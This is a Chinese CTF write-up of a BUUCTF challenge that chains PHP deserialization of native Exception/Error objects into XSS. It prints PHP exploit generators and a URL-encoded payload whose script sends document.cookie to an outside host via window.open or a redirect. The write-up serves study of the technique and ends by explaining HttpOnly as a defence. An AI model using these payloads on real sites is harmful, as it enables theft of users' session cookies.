前言
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
知识点
有关该题目的知识点,十分建议去看看这篇大佬的文章:https://blog.csdn.net/qq_45521281/article/details/105812056
当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):__toString
这里的原理就是利用__toString这个魔法方法:
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串
先来看看以下代码:
<?php
$a = unserialize($_GET['abc']);
echo $a;
?>
exp:
<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
?>
如果将exp传入源码中,就会造成XSS漏洞,应该能够注意到这里创建了一个Error
类,里面写入了注入代码,经过序列化过程,再直接echo出来就会造成XSS,但是Error
类只适用于PHP7版本。同样有等效的原生php类还有Exception,适用于PHP5、PHP7,接下来buuctf的环境便是PHP5,需要用到该函数来完成做题。
题目
进到去就gungungun的,找不到任何东西,扫了扫也没发现什么,看了看wp发现居然是git泄露!草率了
用githack工具拿到源码:
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
源码就只有一个反序列化过程,但题目提示了XSS,有关XSS的题目,flag一般都在cookie里面
看到大佬做题,直接就document.cookie就能拿到flag了,根本不需要整这些花里胡哨的,我也试了试,果真如此
但是大佬说这种情况很少有见,几乎没有,但是思路还是值得学学 ,直接点不好吗?
由于此题是xss,所以只要xss执行window.open()就能把flag带出来
<?php
$a = new Exception("<script>window.open('http://1150fc60-3e08-4b15-80de-c13acf9300a2.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($a));
?>
运行得到
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2F1150fc60-3e08-4b15-80de-c13acf9300a2.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22D%3A%5Cphpstudy_pro%5CWWW%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
再GET提交就可以在cookie里面拿到flag
也可以用window.location.href='url’来实现恶意跳转
<?php
$a = new Exception("<script>window.location.href='http://1150fc60-3e08-4b15-80de-c13acf9300a2.node3.buuoj.cn/'+document.cookie</script>");
echo urlencode(serialize($a));
?>
最后还有大佬提醒的方法,用alert直接弹出flag
<?php
$a = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($a));
?>
但是这种方法也有着限制,如果环境开启了HttpOnly,就不能这样利用。
什么是HttpOnly
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。